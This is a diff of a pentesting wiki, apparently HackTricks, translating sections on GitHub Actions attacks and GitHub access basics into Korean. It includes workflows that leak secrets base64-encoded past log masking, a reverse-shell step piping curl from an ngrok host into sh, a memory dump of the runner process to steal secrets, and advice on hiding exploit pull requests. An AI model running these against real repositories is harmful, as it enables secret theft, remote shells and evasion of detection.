|
||||
|
||||
This could be attacked with this workflow:
|
||||
|
||||
이 워크플로우로 공격할 수 있습니다:
|
||||
```yaml
|
||||
name: "some workflow"
|
||||
on: pull_request
|
||||
|
||||
jobs:
|
||||
upload:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- run: echo "print('exploited')" > ./script.py
|
||||
- uses actions/upload-artifact@v2
|
||||
with:
|
||||
name: artifact
|
||||
path: ./script.py
|
||||
upload:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- run: echo "print('exploited')" > ./script.py
|
||||
- uses actions/upload-artifact@v2
|
||||
with:
|
||||
name: artifact
|
||||
path: ./script.py
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Other External Access
|
||||
## 기타 외부 접근
|
||||
|
||||
### Deleted Namespace Repo Hijacking
|
||||
### 삭제된 네임스페이스 레포 하이재킹
|
||||
|
||||
If an account changes it's name another user could register an account with that name after some time. If a repository had **less than 100 stars previously to the change of nam**e, Github will allow the new register user with the same name to create a **repository with the same name** as the one deleted.
|
||||
계정 이름이 변경되면 다른 사용자가 일정 시간이 지난 후 그 이름으로 계정을 등록할 수 있습니다. 만약 레포가 이름 변경 이전에 **100개 미만의 스타**를 가졌다면, Github는 동일한 이름을 가진 새로운 등록 사용자가 **삭제된 것과 동일한 이름의 레포를 생성**하는 것을 허용합니다.
|
||||
|
||||
> [!CAUTION]
|
||||
> So if an action is using a repo from a non-existent account, it's still possible that an attacker could create that account and compromise the action.
|
||||
> 따라서 만약 액션이 존재하지 않는 계정의 레포를 사용하고 있다면, 공격자가 그 계정을 생성하고 액션을 손상시킬 수 있는 가능성이 여전히 존재합니다.
|
||||
|
||||
If other repositories where using **dependencies from this user repos**, an attacker will be able to hijack them Here you have a more complete explanation: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
|
||||
다른 레포가 **이 사용자 레포의 의존성**을 사용하고 있다면, 공격자는 그것들을 하이재킹할 수 있습니다. 여기에서 더 완전한 설명을 확인할 수 있습니다: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
|
||||
|
||||
---
|
||||
|
||||
## Repo Pivoting
|
||||
## 레포 피벗팅
|
||||
|
||||
> [!NOTE]
|
||||
> In this section we will talk about techniques that would allow to **pivot from one repo to another** supposing we have some kind of access on the first one (check the previous section).
|
||||
> 이 섹션에서는 **하나의 레포에서 다른 레포로 피벗**할 수 있는 기술에 대해 이야기할 것입니다. 첫 번째 레포에 어떤 접근 권한이 있다고 가정합니다(이전 섹션 참조).
|
||||
|
||||
### Cache Poisoning
|
||||
### 캐시 오염
|
||||
|
||||
A cache is maintained between **wokflow runs in the same branch**. Which means that if an attacker **compromise** a **package** that is then stored in the cache and **downloaded** and executed by a **more privileged** workflow he will be able to **compromise** also that workflow.
|
||||
캐시는 **동일한 브랜치의 워크플로 실행 간에 유지**됩니다. 즉, 공격자가 **패키지**를 **손상시키고** 그것이 캐시에 저장된 후 **더 높은 권한의** 워크플로에 의해 **다운로드**되고 실행된다면, 그 워크플로도 **손상시킬 수 있습니다**.
|
||||
|
||||
{{#ref}}
|
||||
gh-actions-cache-poisoning.md
|
||||
{{#endref}}
|
||||
|
||||
### Artifact Poisoning
|
||||
### 아티팩트 오염
|
||||
|
||||
Workflows could use **artifacts from other workflows and even repos**, if an attacker manages to **compromise** the Github Action that **uploads an artifact** that is later used by another workflow he could **compromise the other workflows**:
|
||||
워크플로는 **다른 워크플로 및 레포의 아티팩트**를 사용할 수 있습니다. 공격자가 **아티팩트를 업로드하는** Github Action을 **손상시키면**, 나중에 다른 워크플로에서 사용되는 아티팩트를 통해 **다른 워크플로를 손상시킬 수 있습니다**:
|
||||
|
||||
{{#ref}}
|
||||
gh-actions-artifact-poisoning.md
|
||||
@@ -394,11 +376,11 @@ gh-actions-artifact-poisoning.md
|
||||
|
||||
---
|
||||
|
||||
## Post Exploitation from an Action
|
||||
## 액션에서의 포스트 익스플로잇
|
||||
|
||||
### Accessing AWS and GCP via OIDC
|
||||
### OIDC를 통한 AWS 및 GCP 접근
|
||||
|
||||
Check the following pages:
|
||||
다음 페이지를 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
|
||||
@@ -408,170 +390,160 @@ Check the following pages:
|
||||
../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md
|
||||
{{#endref}}
|
||||
|
||||
### Accessing secrets <a href="#accessing-secrets" id="accessing-secrets"></a>
|
||||
### 비밀 접근 <a href="#accessing-secrets" id="accessing-secrets"></a>
|
||||
|
||||
If you are injecting content into a script it's interesting to know how you can access secrets:
|
||||
스크립트에 내용을 주입하고 있다면 비밀에 접근하는 방법을 아는 것이 흥미롭습니다:
|
||||
|
||||
- If the secret or token is set to an **environment variable**, it can be directly accessed through the environment using **`printenv`**.
|
||||
- 비밀이나 토큰이 **환경 변수**로 설정되어 있다면, **`printenv`**를 사용하여 환경을 통해 직접 접근할 수 있습니다.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>List secrets in Github Action output</summary>
|
||||
|
||||
<summary>Github Action 출력에서 비밀 목록</summary>
|
||||
```yaml
|
||||
name: list_env
|
||||
on:
|
||||
workflow_dispatch: # Launch manually
|
||||
pull_request: #Run it when a PR is created to a branch
|
||||
branches:
|
||||
- '**'
|
||||
push: # Run it when a push is made to a branch
|
||||
branches:
|
||||
- '**'
|
||||
workflow_dispatch: # Launch manually
|
||||
pull_request: #Run it when a PR is created to a branch
|
||||
branches:
|
||||
- '**'
|
||||
push: # Run it when a push is made to a branch
|
||||
branches:
|
||||
- '**'
|
||||
jobs:
|
||||
List_env:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: List Env
|
||||
# Need to base64 encode or github will change the secret value for "***"
|
||||
run: sh -c 'env | grep "secret_" | base64 -w0'
|
||||
env:
|
||||
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
|
||||
List_env:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: List Env
|
||||
# Need to base64 encode or github will change the secret value for "***"
|
||||
run: sh -c 'env | grep "secret_" | base64 -w0'
|
||||
env:
|
||||
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
|
||||
|
||||
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Get reverse shell with secrets</summary>
|
||||
|
||||
<summary>비밀로 리버스 셸 얻기</summary>
|
||||
```yaml
|
||||
name: revshell
|
||||
on:
|
||||
workflow_dispatch: # Launch manually
|
||||
pull_request: #Run it when a PR is created to a branch
|
||||
branches:
|
||||
- "**"
|
||||
push: # Run it when a push is made to a branch
|
||||
branches:
|
||||
- "**"
|
||||
workflow_dispatch: # Launch manually
|
||||
pull_request: #Run it when a PR is created to a branch
|
||||
branches:
|
||||
- "**"
|
||||
push: # Run it when a push is made to a branch
|
||||
branches:
|
||||
- "**"
|
||||
jobs:
|
||||
create_pull_request:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Get Rev Shell
|
||||
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
|
||||
env:
|
||||
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
|
||||
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
create_pull_request:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Get Rev Shell
|
||||
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
|
||||
env:
|
||||
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
|
||||
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
- If the secret is used **directly in an expression**, the generated shell script is stored **on-disk** and is accessible.
|
||||
- ```bash
|
||||
cat /home/runner/work/_temp/*
|
||||
```
|
||||
- For a JavaScript actions the secrets and sent through environment variables
|
||||
- ```bash
|
||||
ps axe | grep node
|
||||
```
|
||||
- For a **custom action**, the risk can vary depending on how a program is using the secret it obtained from the **argument**:
|
||||
- 비밀이 **표현식에 직접 사용**될 경우, 생성된 셸 스크립트는 **디스크에 저장**되며 접근할 수 있습니다.
|
||||
- ```bash
|
||||
cat /home/runner/work/_temp/*
|
||||
```
|
||||
- JavaScript 액션의 경우 비밀은 환경 변수를 통해 전송됩니다.
|
||||
- ```bash
|
||||
ps axe | grep node
|
||||
```
|
||||
- **커스텀 액션**의 경우, 비밀을 어떻게 사용하는지에 따라 위험이 달라질 수 있습니다:
|
||||
|
||||
```yaml
|
||||
uses: fakeaction/publish@v3
|
||||
with:
|
||||
key: ${{ secrets.PUBLISH_KEY }}
|
||||
```
|
||||
```yaml
|
||||
uses: fakeaction/publish@v3
|
||||
with:
|
||||
key: ${{ secrets.PUBLISH_KEY }}
|
||||
```
|
||||
|
||||
### Abusing Self-hosted runners
|
||||
### 자체 호스팅 러너 악용
|
||||
|
||||
The way to find which **Github Actions are being executed in non-github infrastructure** is to search for **`runs-on: self-hosted`** in the Github Action configuration yaml.
|
||||
**비Github 인프라에서 실행되고 있는 Github Actions**를 찾는 방법은 Github Action 구성 yaml에서 **`runs-on: self-hosted`**를 검색하는 것입니다.
|
||||
|
||||
**Self-hosted** runners might have access to **extra sensitive information**, to other **network systems** (vulnerable endpoints in the network? metadata service?) or, even if it's isolated and destroyed, **more than one action might be run at the same time** and the malicious one could **steal the secrets** of the other one.
|
||||
|
||||
In self-hosted runners it's also possible to obtain the **secrets from the \_Runner.Listener**\_\*\* process\*\* which will contain all the secrets of the workflows at any step by dumping its memory:
|
||||
**자체 호스팅** 러너는 **추가 민감 정보**에 접근할 수 있으며, 다른 **네트워크 시스템**(네트워크의 취약한 엔드포인트? 메타데이터 서비스?)에 접근할 수 있습니다. 또는 격리되고 파괴되더라도 **여러 액션이 동시에 실행될 수** 있으며, 악의적인 액션이 다른 액션의 **비밀을 훔칠 수** 있습니다.
|
||||
|
||||
자체 호스팅 러너에서는 **\_Runner.Listener**\_\*\* 프로세스에서 **비밀을 얻는 것도 가능**하며, 이 프로세스는 메모리를 덤프하여 모든 워크플로우의 비밀을 포함합니다:
|
||||
```bash
|
||||
sudo apt-get install -y gdb
|
||||
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"
|
||||
```
|
||||
|
||||
Check [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
|
||||
|
||||
### Github Docker Images Registry
|
||||
### Github Docker 이미지 레지스트리
|
||||
|
||||
It's possible to make Github actions that will **build and store a Docker image inside Github**.\
|
||||
An example can be find in the following expandable:
|
||||
Github 내부에 **Docker 이미지를 빌드하고 저장하는 Github actions**를 만들 수 있습니다.\
|
||||
다음의 확장 가능한 예제를 찾을 수 있습니다:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Github Action Build & Push Docker Image</summary>
|
||||
|
||||
<summary>Github Action 빌드 & Docker 이미지 푸시</summary>
|
||||
```yaml
|
||||
[...]
|
||||
|
||||
- name: Set up Docker Buildx
|
||||
uses: docker/setup-buildx-action@v1
|
||||
uses: docker/setup-buildx-action@v1
|
||||
|
||||
- name: Login to GitHub Container Registry
|
||||
uses: docker/login-action@v1
|
||||
with:
|
||||
registry: ghcr.io
|
||||
username: ${{ github.repository_owner }}
|
||||
password: ${{ secrets.ACTIONS_TOKEN }}
|
||||
uses: docker/login-action@v1
|
||||
with:
|
||||
registry: ghcr.io
|
||||
username: ${{ github.repository_owner }}
|
||||
password: ${{ secrets.ACTIONS_TOKEN }}
|
||||
|
||||
- name: Add Github Token to Dockerfile to be able to download code
|
||||
run: |
|
||||
sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile
|
||||
run: |
|
||||
sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile
|
||||
|
||||
- name: Build and push
|
||||
uses: docker/build-push-action@v2
|
||||
with:
|
||||
context: .
|
||||
push: true
|
||||
tags: |
|
||||
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest
|
||||
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}
|
||||
uses: docker/build-push-action@v2
|
||||
with:
|
||||
context: .
|
||||
push: true
|
||||
tags: |
|
||||
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest
|
||||
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}
|
||||
|
||||
[...]
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
As you could see in the previous code, the Github registry is hosted in **`ghcr.io`**.
|
||||
|
||||
A user with read permissions over the repo will then be able to download the Docker Image using a personal access token:
|
||||
이전 코드에서 볼 수 있듯이, Github 레지스트리는 **`ghcr.io`**에 호스팅됩니다.
|
||||
|
||||
레포에 대한 읽기 권한이 있는 사용자는 개인 액세스 토큰을 사용하여 Docker 이미지를 다운로드할 수 있습니다:
|
||||
```bash
|
||||
echo $gh_token | docker login ghcr.io -u <username> --password-stdin
|
||||
docker pull ghcr.io/<org-name>/<repo_name>:<tag>
|
||||
```
|
||||
|
||||
Then, the user could search for **leaked secrets in the Docker image layers:**
|
||||
그런 다음 사용자는 **Docker 이미지 레이어에서 유출된 비밀을 검색할 수 있습니다:**
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics
|
||||
{{#endref}}
|
||||
|
||||
### Sensitive info in Github Actions logs
|
||||
### Github Actions 로그의 민감한 정보
|
||||
|
||||
Even if **Github** try to **detect secret values** in the actions logs and **avoid showing** them, **other sensitive data** that could have been generated in the execution of the action won't be hidden. For example a JWT signed with a secret value won't be hidden unless it's [specifically configured](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
|
||||
**Github**가 액션 로그에서 **비밀 값을 감지**하고 **표시하지 않으려**고 하더라도, 액션 실행 중 생성될 수 있는 **다른 민감한 데이터**는 숨겨지지 않습니다. 예를 들어, 비밀 값으로 서명된 JWT는 [특별히 구성되지 않는 한](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret) 숨겨지지 않습니다.
|
||||
|
||||
## Covering your Tracks
|
||||
## 흔적 지우기
|
||||
|
||||
(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) First of all, any PR raised is clearly visible to the public in Github and to the target GitHub account. In GitHub by default, we **can’t delete a PR of the internet**, but there is a twist. For Github accounts that are **suspended** by Github, all of their **PRs are automatically deleted** and removed from the internet. So in order to hide your activity you need to either get your **GitHub account suspended or get your account flagged**. This would **hide all your activities** on GitHub from the internet (basically remove all your exploit PR)
|
||||
(기법은 [**여기**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)에서) 우선, 생성된 모든 PR은 Github에서 공개적으로 그리고 대상 GitHub 계정에 명확하게 표시됩니다. GitHub에서는 기본적으로 **인터넷에서 PR을 삭제할 수 없습니다**, 하지만 반전이 있습니다. Github에 의해 **정지된** GitHub 계정의 경우, 모든 **PR이 자동으로 삭제**되고 인터넷에서 제거됩니다. 따라서 활동을 숨기려면 **GitHub 계정을 정지시키거나 계정이 플래그가 지정되도록 해야** 합니다. 이렇게 하면 **인터넷에서 GitHub의 모든 활동이 숨겨집니다** (기본적으로 모든 익스플로잇 PR이 제거됩니다).
|
||||
|
||||
An organization in GitHub is very proactive in reporting accounts to GitHub. All you need to do is share “some stuff” in Issue and they will make sure your account is suspended in 12 hours :p and there you have, made your exploit invisible on github.
|
||||
GitHub의 조직은 계정을 GitHub에 보고하는 데 매우 적극적입니다. 당신이 해야 할 일은 Issue에 “몇 가지 자료”를 공유하는 것이며, 그들은 당신의 계정이 12시간 이내에 정지되도록 할 것입니다 :p 그리고 그렇게 하면 GitHub에서 당신의 익스플로잇이 보이지 않게 됩니다.
|
||||
|
||||
> [!WARNING]
|
||||
> The only way for an organization to figure out they have been targeted is to check GitHub logs from SIEM since from GitHub UI the PR would be removed.
|
||||
> 조직이 자신이 표적이 되었음을 알아내는 유일한 방법은 SIEM에서 GitHub 로그를 확인하는 것입니다. GitHub UI에서는 PR이 제거되기 때문입니다.
|
||||
|
||||
## Tools
|
||||
## 도구
|
||||
|
||||
The following tools are useful to find Github Action workflows and even find vulnerable ones:
|
||||
다음 도구는 Github Action 워크플로를 찾고 심지어 취약한 것을 찾는 데 유용합니다:
|
||||
|
||||
- [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven)
|
||||
- [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato)
|
||||
@@ -579,7 +551,3 @@ The following tools are useful to find Github Action workflows and even find vul
|
||||
- [https://github.com/carlospolop/PurplePanda](https://github.com/carlospolop/PurplePanda)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,6 +1 @@
|
||||
# Gh Actions - Artifact Poisoning
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,6 +1 @@
|
||||
# GH Actions - Cache Poisoning
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
# GH Actions - 캐시 오염
|
||||
|
||||
@@ -1,6 +1 @@
|
||||
# Gh Actions - Context Script Injections
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,59 +2,55 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
This ways to access data from Github that was supposedly deleted was [**reported in this blog post**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github).
|
||||
이 방법은 삭제된 것으로 보이는 Github의 데이터에 접근하는 방법입니다 [**이 블로그 게시물에서 보고되었습니다**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github).
|
||||
|
||||
## Accessing Deleted Fork Data
|
||||
|
||||
1. You fork a public repository
|
||||
2. You commit code to your fork
|
||||
3. You delete your fork
|
||||
1. 공개 저장소를 포크합니다.
|
||||
2. 포크에 코드를 커밋합니다.
|
||||
3. 포크를 삭제합니다.
|
||||
|
||||
> [!CAUTION]
|
||||
> The data commited in the deleted fork is still accessible.
|
||||
> 삭제된 포크에 커밋된 데이터는 여전히 접근 가능합니다.
|
||||
|
||||
## Accessing Deleted Repo Data
|
||||
|
||||
1. You have a public repo on GitHub.
|
||||
2. A user forks your repo.
|
||||
3. You commit data after they fork it (and they never sync their fork with your updates).
|
||||
4. You delete the entire repo.
|
||||
1. GitHub에 공개 저장소가 있습니다.
|
||||
2. 사용자가 귀하의 저장소를 포크합니다.
|
||||
3. 그들이 포크한 후에 데이터를 커밋합니다 (그리고 그들은 결코 포크를 귀하의 업데이트와 동기화하지 않습니다).
|
||||
4. 전체 저장소를 삭제합니다.
|
||||
|
||||
> [!CAUTION]
|
||||
> Even if you deleted your repo, all the changes made to it are still accessible through the forks.
|
||||
> 저장소를 삭제하더라도, 그에 대한 모든 변경 사항은 포크를 통해 여전히 접근 가능합니다.
|
||||
|
||||
## Accessing Private Repo Data
|
||||
|
||||
1. You create a private repo that will eventually be made public.
|
||||
2. You create a private, internal version of that repo (via forking) and commit additional code for features that you’re not going to make public.
|
||||
3. You make your “upstream” repository public and keep your fork private.
|
||||
1. 결국 공개될 개인 저장소를 생성합니다.
|
||||
2. 해당 저장소의 개인 내부 버전을 생성하고 (포크를 통해) 공개하지 않을 기능에 대한 추가 코드를 커밋합니다.
|
||||
3. "업스트림" 저장소를 공개하고 포크를 개인으로 유지합니다.
|
||||
|
||||
> [!CAUTION]
|
||||
> It's possible to access al the data pushed to the internal fork in the time between the internal fork was created and the public version was made public.
|
||||
> 내부 포크가 생성된 시점과 공개 버전이 공개된 시점 사이에 푸시된 모든 데이터에 접근할 수 있습니다.
|
||||
|
||||
## How to discover commits from deleted/hidden forks
|
||||
|
||||
The same blog post propose 2 options:
|
||||
같은 블로그 게시물은 2가지 옵션을 제안합니다:
|
||||
|
||||
### Directly accessing the commit
|
||||
|
||||
If the commit ID (sha-1) value is known it's possible to access it in `https://github.com/<user/org>/<repo>/commit/<commit_hash>`
|
||||
커밋 ID (sha-1) 값이 알려져 있다면 `https://github.com/<user/org>/<repo>/commit/<commit_hash>`에서 접근할 수 있습니다.
|
||||
|
||||
### Brute-forcing short SHA-1 values
|
||||
|
||||
It's the same to access both of these:
|
||||
두 가지 모두 접근하는 방법은 동일합니다:
|
||||
|
||||
- [https://github.com/HackTricks-wiki/hacktricks/commit/8cf94635c266ca5618a9f4da65ea92c04bee9a14](https://github.com/HackTricks-wiki/hacktricks/commit/8cf94635c266ca5618a9f4da65ea92c04bee9a14)
|
||||
- [https://github.com/HackTricks-wiki/hacktricks/commit/8cf9463](https://github.com/HackTricks-wiki/hacktricks/commit/8cf9463)
|
||||
|
||||
And the latest one use a short sha-1 that is bruteforceable.
|
||||
그리고 마지막 링크는 브루트포스 가능한 짧은 sha-1을 사용합니다.
|
||||
|
||||
## References
|
||||
|
||||
- [https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,191 +4,185 @@
|
||||
|
||||
## Basic Structure
|
||||
|
||||
The basic github environment structure of a big **company** is to own an **enterprise** which owns **several organizations** and each of them may contain **several repositories** and **several teams.**. Smaller companies may just **own one organization and no enterprises**.
|
||||
대규모 **회사**의 기본 github 환경 구조는 **여러 조직**을 소유하는 **기업**을 소유하는 것입니다. 각 조직은 **여러 리포지토리**와 **여러 팀**을 포함할 수 있습니다. 소규모 회사는 **하나의 조직과 기업이 없는 경우**도 있습니다.
|
||||
|
||||
From a user point of view a **user** can be a **member** of **different enterprises and organizations**. Within them the user may have **different enterprise, organization and repository roles**.
|
||||
사용자 관점에서 **사용자**는 **다양한 기업 및 조직의 구성원**이 될 수 있습니다. 그들 안에서 사용자는 **다양한 기업, 조직 및 리포지토리 역할**을 가질 수 있습니다.
|
||||
|
||||
Moreover, a user may be **part of different teams** with different enterprise, organization or repository roles.
|
||||
또한 사용자는 **다양한 팀의 일원**이 될 수 있으며, 각 팀에서 다른 기업, 조직 또는 리포지토리 역할을 가질 수 있습니다.
|
||||
|
||||
And finally **repositories may have special protection mechanisms**.
|
||||
마지막으로 **리포지토리는 특별한 보호 메커니즘을 가질 수 있습니다**.
|
||||
|
||||
## Privileges
|
||||
|
||||
### Enterprise Roles
|
||||
|
||||
- **Enterprise owner**: People with this role can **manage administrators, manage organizations within the enterprise, manage enterprise settings, enforce policy across organizations**. However, they **cannot access organization settings or content** unless they are made an organization owner or given direct access to an organization-owned repository
|
||||
- **Enterprise members**: Members of organizations owned by your enterprise are also **automatically members of the enterprise**.
|
||||
- **Enterprise owner**: 이 역할을 가진 사람들은 **관리자를 관리하고, 기업 내 조직을 관리하며, 기업 설정을 관리하고, 조직 전반에 정책을 시행**할 수 있습니다. 그러나 그들은 **조직 소유자**로 지정되거나 조직 소유 리포지토리에 직접 접근 권한이 부여되지 않는 한 조직 설정이나 콘텐츠에 접근할 수 없습니다.
|
||||
- **Enterprise members**: 귀하의 기업이 소유한 조직의 구성원은 **자동으로 기업의 구성원**이 됩니다.
|
||||
|
||||
### Organization Roles
|
||||
|
||||
In an organisation users can have different roles:
|
||||
조직 내에서 사용자는 다양한 역할을 가질 수 있습니다:
|
||||
|
||||
- **Organization owners**: Organization owners have **complete administrative access to your organization**. This role should be limited, but to no less than two people, in your organization.
|
||||
- **Organization members**: The **default**, non-administrative role for **people in an organization** is the organization member. By default, organization members **have a number of permissions**.
|
||||
- **Billing managers**: Billing managers are users who can **manage the billing settings for your organization**, such as payment information.
|
||||
- **Security Managers**: It's a role that organization owners can assign to any team in an organization. When applied, it gives every member of the team permissions to **manage security alerts and settings across your organization, as well as read permissions for all repositories** in the organization.
|
||||
- If your organization has a security team, you can use the security manager role to give members of the team the least access they need to the organization.
|
||||
- **Github App managers**: To allow additional users to **manage GitHub Apps owned by an organization**, an owner can grant them GitHub App manager permissions.
|
||||
- **Outside collaborators**: An outside collaborator is a person who has **access to one or more organization repositories but is not explicitly a member** of the organization.
|
||||
- **Organization owners**: 조직 소유자는 **조직에 대한 완전한 관리 접근 권한**을 가집니다. 이 역할은 제한되어야 하며, 조직 내에서 두 명 이상이어야 합니다.
|
||||
- **Organization members**: **조직 내 사람들**의 기본 비관리자 역할은 조직 구성원입니다. 기본적으로 조직 구성원은 **일정 수의 권한**을 가집니다.
|
||||
- **Billing managers**: 청구 관리자는 **조직의 청구 설정을 관리**할 수 있는 사용자입니다. 예를 들어, 결제 정보와 같은 것입니다.
|
||||
- **Security Managers**: 조직 소유자가 조직 내의 모든 팀에 부여할 수 있는 역할입니다. 적용되면 팀의 모든 구성원에게 **조직 전반에 걸쳐 보안 경고 및 설정을 관리할 수 있는 권한과 모든 리포지토리에 대한 읽기 권한**이 부여됩니다.
|
||||
- 조직에 보안 팀이 있는 경우, 보안 관리자 역할을 사용하여 팀 구성원에게 조직에 필요한 최소한의 접근 권한을 부여할 수 있습니다.
|
||||
- **Github App managers**: 조직이 소유한 GitHub Apps를 **관리할 수 있는 추가 사용자**에게 GitHub App 관리자 권한을 부여할 수 있습니다.
|
||||
- **Outside collaborators**: 외부 협력자는 **하나 이상의 조직 리포지토리에 접근할 수 있지만 조직의 명시적인 구성원은 아닌 사람**입니다.
|
||||
|
||||
You can **compare the permissions** of these roles in this table: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
|
||||
이 역할의 **권한을 비교**할 수 있는 표는 다음과 같습니다: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
|
||||
|
||||
### Members Privileges
|
||||
|
||||
In _https://github.com/organizations/\<org_name>/settings/member_privileges_ you can see the **permissions users will have just for being part of the organisation**.
|
||||
_https://github.com/organizations/\<org_name>/settings/member_privileges_에서 **조직의 일원으로서 사용자가 가질 권한**을 확인할 수 있습니다.
|
||||
|
||||
The settings here configured will indicate the following permissions of members of the organisation:
|
||||
여기에서 구성된 설정은 조직 구성원의 다음 권한을 나타냅니다:
|
||||
|
||||
- Be admin, writer, reader or no permission over all the organisation repos.
|
||||
- If members can create private, internal or public repositories.
|
||||
- If forking of repositories is possible
|
||||
- If it's possible to invite outside collaborators
|
||||
- If public or private sites can be published
|
||||
- The permissions admins has over the repositories
|
||||
- If members can create new teams
|
||||
- 모든 조직 리포지토리에 대한 관리자, 작성자, 독자 또는 권한 없음.
|
||||
- 구성원이 개인, 내부 또는 공개 리포지토리를 생성할 수 있는지 여부.
|
||||
- 리포지토리 포크가 가능한지 여부.
|
||||
- 외부 협력자를 초대할 수 있는지 여부.
|
||||
- 공개 또는 비공식 사이트를 게시할 수 있는지 여부.
|
||||
- 관리자가 리포지토리에 대해 가지는 권한.
|
||||
- 구성원이 새로운 팀을 생성할 수 있는지 여부.
|
||||
|
||||
### Repository Roles
|
||||
|
||||
By default repository roles are created:
|
||||
기본적으로 리포지토리 역할이 생성됩니다:
|
||||
|
||||
- **Read**: Recommended for **non-code contributors** who want to view or discuss your project
|
||||
- **Triage**: Recommended for **contributors who need to proactively manage issues and pull requests** without write access
|
||||
- **Write**: Recommended for contributors who **actively push to your project**
|
||||
- **Maintain**: Recommended for **project managers who need to manage the repository** without access to sensitive or destructive actions
|
||||
- **Admin**: Recommended for people who need **full access to the project**, including sensitive and destructive actions like managing security or deleting a repository
|
||||
- **Read**: **코드 기여자가 아닌** 사람들이 프로젝트를 보고 논의하고자 할 때 추천됩니다.
|
||||
- **Triage**: **문제 및 풀 리퀘스트를 능동적으로 관리해야 하는 기여자**에게 추천됩니다. 쓰기 접근 권한은 없습니다.
|
||||
- **Write**: **프로젝트에 적극적으로 푸시하는 기여자**에게 추천됩니다.
|
||||
- **Maintain**: **리포지토리를 관리해야 하는 프로젝트 관리자**에게 추천됩니다. 민감하거나 파괴적인 작업에 대한 접근 권한은 없습니다.
|
||||
- **Admin**: **프로젝트에 대한 완전한 접근 권한**이 필요한 사람에게 추천됩니다. 여기에는 보안 관리 또는 리포지토리 삭제와 같은 민감하고 파괴적인 작업이 포함됩니다.
|
||||
|
||||
You can **compare the permissions** of each role in this table [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
|
||||
